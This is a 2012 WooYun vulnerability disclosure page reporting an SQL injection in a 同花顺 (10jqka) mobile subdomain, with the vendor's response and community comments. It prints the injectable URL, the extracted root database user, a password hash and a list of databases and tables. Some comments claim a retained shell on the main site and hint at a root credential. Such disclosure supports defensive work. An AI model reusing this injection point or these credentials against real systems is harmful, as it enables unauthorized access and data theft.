当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07351

漏洞标题：同花顺某分站注入漏洞

相关厂商：同花顺

漏洞作者： insight-labs

提交时间：2012-05-20 13:49

修复时间：2012-05-25 13:50

公开时间：2012-05-25 13:50

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-20： 细节已通知厂商并且等待厂商处理中
2012-05-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

注入
db权限:root
getshell

详细说明：

db权限:root
possibile to getshell

漏洞证明：

http://mobile.10jqka.com.cn/main/dlquery_s.php?bid=%274229&bname=%CD%A8%D3%C3%C7%F8&seid=1329&sename=Android&mid=61&mname=Gpad&tyid=2705
DB Server: MySQL error based
Resp. Time(avg): 2490 ms
Current User: root@localhost
Sql Version: 5.0.95
Current DB: wap3g_dl
System User: root@localhost
Host Name: wapyd
Installation dir: /usr/
DB User & Pass: root::127.0.0.1
::localhost
::localhost.localdomain
root:07846796735f00a7:localhost
Data Bases: information_schema
ahuni_dl
asv
ceshi
ceshi_dl
ceshi_fj
data_web
wap3g_dl
Table Name
recordDl_20110601
recordDl_20110531
recordDl_20110530
recordDl_20110529
recordDl_20110528
recordDl_20110527
recordDl_20110526
recordDl_20110525
recordDl_20110524
recordDl_20110523
recordDl
keyword
example_stat
dl_version
dl_verintro
dl_tyrj
dl_sp
dl_soft
dl_series
dl_plateform
dl_new_model
dl_model
dl_config
dl_brand
check_ver
account

修复方案：

输入点需要过滤

版权声明：转载请注明来源 insight-labs@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-05-25 13:50

厂商回复：

漏洞Rank：7 (WooYun评价)

最新状态：

2012-06-11：已修复。

漏洞评价：

评论

  1. 2012-05-20 14:02 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    他不鸟我我信

  2. 2012-05-21 10:51 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    肯定被忽略。。注定了的

  3. 2012-05-25 17:42 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @蟋蟀哥哥 为啥就忽略了呢 不懂

  4. 2012-05-25 18:20 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @possible 你浏览下历史记录就懂了。 @xsser 这种也应该封杀

  5. 2012-05-25 18:22 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @xsser 我尝试了下漏洞还存在，我联系下我同花顺的朋友向上面反映下，应该是沟通的问题

  6. 2012-05-25 18:24 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @蟋蟀哥哥 多谢！

  7. 2012-05-25 22:45 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @xsser 已经通知这个公司的某一朵菊花了，他告诉他们老大只知道网站经常被攻击，并不知道细节，已经发邮件通知他们老大了

  8. 2012-05-25 22:45 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @xsser 说错了，他告诉我他们老大只支持网站最近经常被攻击

  9. 2012-05-25 22:58 | insight-labs 认证白帽子 ( 普通白帽子 | Rank:623 漏洞数:75 | Security guys)

    @蟋蟀哥哥 恩 有告知就好~thanks

  10. 2012-05-25 23:06 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @insight-labs :) 白帽子不是为了炫耀，而且让厂商改正。让网络更安全，所以沟通很重要。不能动不动就封厂家的。

  11. 2012-05-25 23:18 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @蟋蟀哥哥 ╮(╯▽╰)╭ 谢谢你了 主站的shell我还有 他们还联系我了 - -说修复了 修复他个JJ

  12. 2012-05-25 23:22 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @_Evil 他们家的数据还是比较敏感的... 看样子他们家的库都不知道被刷了多少次了。。不重视的后果啊

  13. 2012-05-26 14:27 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @蟋蟀哥哥 ╮(╯▽╰)╭ 大家懂的

  14. 2012-06-05 23:58 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    @蟋蟀哥哥 他们的库黑市貌似很火。。。安全各种不给力

  15. 2012-08-08 09:17 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    root 10jqka